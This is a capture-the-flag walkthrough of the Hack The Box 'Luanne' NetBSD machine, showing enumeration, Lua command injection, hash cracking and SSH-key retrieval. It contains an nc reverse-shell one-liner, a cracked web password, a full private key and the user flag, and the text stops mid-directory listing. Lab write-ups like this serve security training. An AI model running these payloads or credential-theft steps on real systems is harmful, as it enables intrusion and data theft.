This easy difficulty BSD system...Short description to include any strange things to be dealt with
- description with generic example
doas whoami
#root
/etc/master.passwd
I started my enumeration with an nmap scan of 10.10.10.218
. The options I regularly use are: -p-
, which is a shortcut which tells nmap to scan all ports, -sC
is the equivalent to --script=default
and runs a collection of nmap enumeration scripts against the target, -sV
does a service scan, and -oA <name>
saves all types of output (.nmap,.gnmap, and .xml) with filenames of <name>
.
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ nmap -sCV -n -p- -Pn -v -oA luanne 10.10.10.218
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-18 19:09 EDT
Nmap scan report for 10.10.10.218
Host is up (0.064s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-methods:
|_ Supported Methods: GET HEAD POST
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1066.53 seconds
Nmap only showed three ports were open on this machine: 22- SSH, 80 - HTTP, and 9001 - which said Medusa httpd 1.12 (Supervisor process manager)
.
I started out my enumeration by navigating to 10.10.10.218
in my browser.
I was immediately greeted by a Basic HTTP authorization prompt. Since I didn't have any credentials I tried a few basic defaults, but no luck.
Navigating to /index.html
brought me to a default nginx
installation page.
There was only one disallow line in robots.txt
that showed a directory called /weather
.
This did not reveal anything interesting, however. I left dirbuster
running while I checked out the next service. I searched for exploits related to this version of nginx
but only found a few denial of service vulnerabilities and a CNAME leakage. There was nothing useful.
Navigating to the page hosted on port 9001 also gave me a Basic HTTP authentication prompt. However, this one gave me a little clue. I did some research on the Supervisor process manager, looking for default credentials after seeing the hint of "default".
default seemed to be user:123 from the manual (though it specifies none:none)
after logging in I had a supervisor-status page that showed what appeared to be running processes on the server
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
nginx 79 1.6 0.1 33940 3288 ? S 10:22AM 1:16.12 nginx: worker process
root 0 0.0 0.2 0 13184 ? DKl 10:21AM 0:12.73 [system]
root 1 0.0 0.0 19852 1528 ? Is 10:21AM 0:00.01 init
root 164 0.0 0.0 32528 2296 ? Ss 10:21AM 0:00.17 /usr/sbin/syslogd -s
root 308 0.0 0.0 19708 1336 ? Is 10:21AM 0:00.00 /usr/sbin/powerd
_httpd 336 0.0 0.3 118876 17040 ? Ss 10:22AM 7:37.56 /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8
root 347 0.0 0.0 73104 2916 ? Is 10:22AM 0:00.04 /usr/sbin/sshd
root 366 0.0 0.0 33368 1824 ? Is 10:22AM 0:00.00 nginx: master process /usr/pkg/sbin/nginx
r.michaels 378 0.0 0.0 34996 1996 ? Is 10:22AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www
_httpd 394 0.6 0.0 35160 2004 ? Ss 10:22AM 0:07.32 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
root 396 0.0 0.0 20216 1652 ? Is 10:22AM 0:00.14 /usr/sbin/cron
_httpd 9224 0.0 0.0 35460 2332 ? I 1:49PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 9657 0.0 0.0 35460 2332 ? I 1:33PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 12348 0.0 0.0 17744 1456 ? O 12:02AM 0:00.00 /usr/bin/egrep ^USER| \\[system\\] *$| init *$| /usr/sbin/sshd *$| /usr/sbin/syslogd -s *$| /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8 *$| /usr/sbin/cron *$| /usr/sbin/powerd *$| /usr/libexec/httpd -u -X -s.*$|^root.* login *$| /usr/libexec/getty Pc ttyE.*$| nginx.*process.*$
_httpd 16606 0.0 0.0 35160 4 ? R 12:02AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 18685 0.0 0.0 35460 2296 ? I 9:02PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 20969 0.0 0.0 35460 2296 ? I 9:02PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
_httpd 26236 0.0 0.0 35460 2296 ? I 8:54PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua -U _httpd -b /var/www
root 413 0.0 0.0 19780 1584 ttyE1 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE1
root 389 0.0 0.0 23792 1584 ttyE2 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE2
root 433 0.0 0.0 19784 1584 ttyE3 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE3
I saw a cron in the process output, as well as a weather.lua
I tried checking for local file inclusion and code execution vulnerabilities but they just gave errors.
I found a directory /weather/forecast/
using Dirbuster.
"No city specified. Use 'city=list' to list available cities."
'test' showed unknown city error
Sending a query of '
(single quote) resulted in a "nil value" Lua error. I expected to test for a SQL injection vulnerability, but got something else instead. I did some reading on Lua syntax to see if I could figure out how to get this to execute code.
My first attempt triggered a warning from NoScript about a possible XSS attack. I had to close off the function parameters with ')
, separate the commands with a ;
, and use a Lua comment --
at the end closed off the insertion to get this warning. I still did not get code execution however.
Looking a bit closer at my attempt, I noticed that I had typed os.system('id')
rather than os.execute('id')
which NoScript saw as JavaScript, triggering that warning. Fixing this error allowed me to get command execution.
{% hint style="info" %}
NoScript still caught the attempt using os.execute
, but at least it drew my attention to my error the first time!
{% endhint %}
root:*:0:0:Charlie &:/root:/bin/sh
toor:*:0:0:Bourne-again Superuser:/root:/bin/sh
daemon:*:1:1:The devil himself:/:/sbin/nologin
operator:*:2:5:System &:/usr/guest/operator:/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin
games:*:7:13:& pseudo-user:/usr/games:/sbin/nologin
postfix:*:12:12:& pseudo-user:/var/spool/postfix:/sbin/nologin
named:*:14:14:& pseudo-user:/var/chroot/named:/sbin/nologin
ntpd:*:15:15:& pseudo-user:/var/chroot/ntpd:/sbin/nologin
sshd:*:16:16:& pseudo-user:/var/chroot/sshd:/sbin/nologin
_pflogd:*:18:18:& pseudo-user:/var/chroot/pflogd:/sbin/nologin
_rwhod:*:19:19:& pseudo-user:/var/rwho:/sbin/nologin
_proxy:*:21:21:Proxy Services:/nonexistent:/sbin/nologin
_timedc:*:22:22:& pseudo-user:/nonexistent:/sbin/nologin
_sdpd:*:23:23:& pseudo-user:/nonexistent:/sbin/nologin
_httpd:*:24:24:& pseudo-user:/var/www:/sbin/nologin
_mdnsd:*:25:25:& pseudo-user:/nonexistent:/sbin/nologin
_tests:*:26:26:& pseudo-user:/nonexistent:/sbin/nologin
_tcpdump:*:27:27:& pseudo-user:/var/chroot/tcpdump:/sbin/nologin
_tss:*:28:28:& pseudo-user:/var/tpm:/sbin/nologin
_rtadvd:*:30:30:& pseudo-user:/var/chroot/rtadvd:/sbin/nologin
_unbound:*:32:32:& pseudo-user:/var/chroot/unbound:/sbin/nologin
_nsd:*:33:33:& pseudo-user:/var/chroot/nsd:/sbin/nologin
uucp:*:66:1:UNIX-to-UNIX Copy:/nonexistent:/sbin/nologin
nobody:*:32767:39:Unprivileged user:/nonexistent:/sbin/nologin
r.michaels:*:1000:100::/home/r.michaels:/bin/ksh
nginx:*:1001:1000:NGINX server user:/var/db/nginx:/sbin/nologin
dbus:*:1002:1001:System message bus:/var/run/dbus:/sbin/nologin
Using this command execution I pulled /etc/passwd
to enumerate the users on the machine. There were only two users who could login with a shell, root
and r.michaels
.
NetBSD luanne.htb 9.0 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 [email protected]:/usr/src/sys/arch/amd64/compile/GENERIC amd64
The command uname -a
revealed this to be a NetBSD system. I wasn't sure what kind of reverse shell would work on a BSD system, so I checked the one-stop-shop for all things Payload.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
I found a reverse shell with nc (without -e) for openbsd, and hoped that it would work for this distro as well. The response hung for awhile after sending, which was a good sign.
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ script luanne-init
Script started, output log file is 'luanne-init'.
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ bash
zweilos@kali:~/htb/luanne$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.14.187] from (UNKNOWN) [10.10.10.218] 54839
sh: can't access tty; job control turned off
$ id && hostname
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
luanne.htb
It worked!
$ which python3
which: PATH environment variable is not set
Checked to see if python3 was installed, but got an error that the PATH was not set. After some testing I found that my usual TTY upgrades were not working.
$ pwd
/var/www
$ ls -la
total 20
drwxr-xr-x 2 root wheel 512 Nov 25 11:27 .
drwxr-xr-x 24 root wheel 512 Nov 24 09:55 ..
-rw-r--r-- 1 root wheel 47 Sep 16 2020 .htpasswd
-rw-r--r-- 1 root wheel 386 Sep 17 2020 index.html
-rw-r--r-- 1 root wheel 78 Nov 25 11:38 robots.txt
$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
found an MD5 hash in .htpasswd
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ hashcat -O -D1,2 -a0 -m500 hash /usr/share/wordlists/rockyou.txt --username
hashcat (v6.1.1) starting...
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 65 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0:iamthebest
Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
Time.Started.....: Sat Mar 27 20:11:46 2021 (0 secs)
Time.Estimated...: Sat Mar 27 20:11:46 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 30002 H/s (7.20ms) @ Accel:256 Loops:250 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 3074/14344385 (0.02%)
Rejected.........: 2/3074 (0.07%)
Restore.Point....: 2048/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidates.#1....: slimshady -> ANTHONY
Started: Sat Mar 27 20:11:43 2021
Stopped: Sat Mar 27 20:11:48 2021
It cracked within seconds to reveal the password iamthebest
.
I was able to use this to log into the other web portal on port 80.
There did not seem to be anything further I could do here other than discover the /weather/forecast/
endpoint I had already used to gain access to the machine.
$ find / -user r.michaels 2>/dev/null
/proc/378
/proc/378/fd
/proc/378/task
/proc/378/emul
/proc/378/auxv
/proc/378/cmdline
/proc/378/environ
/proc/378/fpregs
/proc/378/limit
/proc/378/map
/proc/378/maps
/proc/378/mem
/proc/378/note
/proc/378/notepg
/proc/378/regs
/proc/378/stat
/proc/378/statm
/proc/378/status
/var/mail/r.michaels
/home/r.michaels
Since I only had one user to go off, I tried using that password to switch users to r.michaels
but failed. I also tried finding everything that r.michaels
had access to, but there wasn't much.
$ ls -la /home/r.michaels
ls: r.michaels: Permission denied
$ ls -la /var/mail/r.michaels
-rw------- 1 r.michaels wheel 9172 Sep 16 2020 /var/mail/r.michaels
I tried to see what was in those directories, but couldn't see anything I could access.
$ ps -auxw
USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
nginx 79 2.5 0.1 33696 3308 ? S 10:22AM 2:20.96 nginx: worker process
root 0 0.0 0.2 0 13288 ? OKl 10:21AM 0:22.40 [system]
root 1 0.0 0.0 19852 1528 ? Is 10:21AM 0:00.01 init
root 164 0.0 0.0 32528 2296 ? Ss 10:21AM 0:00.18 /usr/sbin/syslogd -s
root 267 0.0 0.1 117960 7340 ? Il 10:21AM 0:38.76 /usr/pkg/bin/vmtoolsd
root 308 0.0 0.0 19708 1336 ? Is 10:21AM 0:00.00 /usr/sbin/powerd
_httpd 336 0.0 0.3 119028 17052 ? Ss 10:22AM 7:38.21 /usr/pkg/bin/python3.8 /usr/pkg/bin/supervisord-3.8
root 347 0.0 0.0 73104 2916 ? Is 10:22AM 0:00.04 /usr/sbin/sshd
root 366 0.0 0.0 33368 1824 ? Is 10:22AM 0:00.00 nginx: master process /usr/pkg/sbin/nginx
r.michaels 378 0.0 0.0 34996 1996 ? Is 10:22AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /hom
_httpd 394 0.0 0.0 35160 2004 ? Ss 10:22AM 0:40.21 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr
root 396 0.0 0.0 20216 1652 ? Is 10:22AM 0:00.15 /usr/sbin/cron
_httpd 408 0.0 0.0 19988 1652 ? S 10:22AM 0:00.22 /bin/sh /usr/local/scripts/memory.sh
_httpd 414 0.0 0.0 21748 1656 ? I 10:22AM 0:00.63 /bin/sh /usr/local/scripts/processes.sh
_httpd 422 0.0 0.0 19992 1656 ? S 10:22AM 0:00.22 /bin/sh /usr/local/scripts/uptime.sh
...snipped extra users attepts at reverse shells and privesc...
_httpd 18685 0.0 0.0 35460 2296 ? I 9:02PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr
_httpd 20969 0.0 0.0 35460 2296 ? I 9:02PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr
_httpd 21048 0.0 0.0 19884 1520 ? O 12:41AM 0:00.00 ps -auxw
_httpd 22683 0.0 0.0 35460 2332 ? I 12:17AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3000 -L weather /usr
...snipped more extra metagaming stuff...
root 419 0.0 0.0 19780 1584 ttyE0 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc constty
root 413 0.0 0.0 19780 1584 ttyE1 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE1
root 389 0.0 0.0 23792 1584 ttyE2 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE2
root 433 0.0 0.0 19784 1584 ttyE3 Is+ 10:22AM 0:00.00 /usr/libexec/getty Pc ttyE3
There was a process run by the r.michaels
user that seemed to be running another instance of the weather.lua
, this time on port 3001.
{% hint style="info" %}
Note: From other user's attempts from the process output I saw one that showed**python3.7 -c import pty;pty.spawn("/bin/sh")
**. You may be able to use this to upgrade your shell. I didn't notice this until after I was done, and it would have been metagaming anyways!
{% endhint %}
$ curl http://localhost:3001
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 199 100 199 0 0 66333 0 --:--:-- --:--:-- --:--:-- 66333
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
/: <pre>No authorization</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
I tried using curl to get the local page at 3001 and got a "No Authorization" error.
$ curl -u webapi_user:iamthebest http://localhost:3001
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 386 100 386 0 0 125k 0 --:--:-- --:--:-- --:--:-- 125k
<!doctype html>
<html>
<head>
<title>Index</title>
</head>
<body>
<p><h3>Weather Forecast API</h3></p>
<p><h4>List available cities:</h4></p>
<a href="/weather/forecast?city=list">/weather/forecast?city=list</a>
<p><h4>Five day forecast (London)</h4></p>
<a href="/weather/forecast?city=London">/weather/forecast?city=London</a>
<hr>
</body>
</html>
since this page was the same as the one on port 80 I tried logging in as webapi_user
. This time I was able to retrieve the site. It looked exactly the same as the one on port 80.
$ curl -u webapi_user:iamthebest http://localhost:3001/r.michaels
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 206 100 206 0 0 68666 0 --:--:-- --:--:-- --:--:-- 68666
<html><head><title>404 Not Found</title></head>
<body><h1>404 Not Found</h1>
/~: <pre>This item has not been found</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
$ curl -u webapi_user:iamthebest http://localhost:3001/~/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 207 100 207 0 0 51750 0 --:--:-- --:--:-- --:--:-- 51750
<html><head><title>404 Not Found</title></head>
<body><h1>404 Not Found</h1>
/~/: <pre>This item has not been found</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
I tried to see if I could access the home directory since this process was being run as
searched for how to access home directory in a URL and found
- https://apple.stackexchange.com/questions/100570/getting-all-files-from-a-web-page-using-curl
- https://stackoverflow.com/questions/3488603/how-do-i-use-tilde-in-the-context-of-paths
Used in URLs, interpretation of the tilde as a shorthand for a user's home directory (e.g., http://www.foo.org/~bob) is a convention borrowed from Unix. Implementation is entirely server-specific, so you'd need to check the documentation for your web server to see if it has any special meaning.
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 172 0 172 0 0 57333 0 --:--:-- --:--:-- --:--:-- 57333
<html><head><title>Document Moved</title></head>
<body><h1>Document Moved</h1>
This document had moved <a href="http://localhost:3001/~r.michaels/">here</a>
</body></html>
The post was related to python, but it seemed to work, at least somewhat
it seems like the tilde thing is also used specifically in nginx
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 601 0 601 0 0 117k 0 --:--:-- --:--:-- --:--:-- 117k
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>
Putting the trailing slash on the url caused it to give me a directory listing
id_rsa sounded quite interesting
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa
sh: 48: Syntax error: redirection unexpected
$ curl -u webapi_user:iamthebest http://localhost:3001/~r.michaels/id_rsa/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 245 100 245 0 0 81666 0 --:--:-- --:--:-- --:--:-- 81666
<html><head><title>500 Internal Error</title></head>
<body><h1>500 Internal Error</h1>
~r.michaels/id_rsa/index.html: <pre>An error occured on the server</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>
However, trying to retrieve the id_rsa
file gave some errors.
$ curl -u webapi_user:iamthebest ftp://localhost:3001/~r.michaels/id_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- 0:00:30 --:--:-- 0
curl: (56) response reading failed
Next I tried switching protocols to use ftp:// rather than http:// but that failed as well
$ curl -u webapi_user:iamthebest localhost:3001/~r.michaels/id_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2610 100 2610 0 0 637k 0 --:--:-- --:--:-- --:--:-- 637k
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
I was finally able to get it by removing the specification for curl to interpret what it was pulling through the HTTP protocol
zweilos@kali:~/htb/luanne$ chmod 600 r.michaels.key
zweilos@kali:~/htb/luanne$ ssh -i r.michaels.key [email protected]
Last login: Sat Mar 27 21:16:20 2021 from 10.10.14.220
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
luanne$ id && whoami
uid=1000(r.michaels) gid=100(users) groups=100(users)
r.michaels
luanne$ ls -la
total 52
dr-xr-x--- 7 r.michaels users 512 Sep 16 2020 .
drwxr-xr-x 3 root wheel 512 Sep 14 2020 ..
-rw-r--r-- 1 r.michaels users 1772 Feb 14 2020 .cshrc
drwx------ 2 r.michaels users 512 Sep 14 2020 .gnupg
-rw-r--r-- 1 r.michaels users 431 Feb 14 2020 .login
-rw-r--r-- 1 r.michaels users 265 Feb 14 2020 .logout
-rw-r--r-- 1 r.michaels users 1498 Feb 14 2020 .profile
-rw-r--r-- 1 r.michaels users 166 Feb 14 2020 .shrc
dr-x------ 2 r.michaels users 512 Sep 16 2020 .ssh
dr-xr-xr-x 2 r.michaels users 512 Nov 24 09:26 backups
dr-xr-x--- 4 r.michaels users 512 Sep 16 2020 devel
dr-x------ 2 r.michaels users 512 Sep 16 2020 public_html
-r-------- 1 r.michaels users 33 Sep 16 2020 user.txt
luanne$ cat user.txt
ea5f0ce6a917b0be1eabc7f9218febc0
got the user.txt flag
luanne$ groups r.michaels
users
r.michaels
was only a member of the users group
luanne$ cd backups/
luanne$ ls -la
total 12
dr-xr-xr-x 2 r.michaels users 512 Nov 24 09:26 .
dr-xr-x--- 7 r.michaels users 512 Sep 16 2020 ..
-r-------- 1 r.michaels users 1970 Nov 24 09:25 devel_backup-2020-09-16.tar.gz.enc
In the /backups
folder there was an encrypted tar file. Searching for netbsd tar.gz.enc led to
luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc | tar xz -C test
signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid RSA 2048-bit key <r.michaels@localhost>
tar: Error opening archive: Failed to open '/dev/nrst0'
looks like 2048 bit rsa key
netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc | tar -xzf - -C /tmp/
signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid RSA 2048-bit key <r.michaels@localhost>
success
luanne$ ls -ls /tmp
total 8
8 drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 devel-2020-09-16
luanne$ cd /tmp/devel-2020-09-16/
luanne$ ls -la
total 32
drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 .
drwxrwxrwt 3 root wheel 48 Mar 28 04:02 ..
drwxr-xr-x 2 r.michaels wheel 48 Sep 16 2020 webapi
drwxr-xr-x 2 r.michaels wheel 96 Sep 16 2020 www
I was able to successfully extract the files, but right after I started to look through them the /tmp
directory was cleaned up.
luanne$ ls -la
total 20
drwxrwxrwt 3 root wheel 48 Mar 28 04:04 .
drwxr-xr-x 21 root wheel 512 Sep 16 2020 ..
drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 devel-2020-09-16
luanne$ cd devel-2020-09-16/
luanne$ ls -la
total 32
drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 .
drwxrwxrwt 3 root wheel 48 Mar 28 04:04 ..
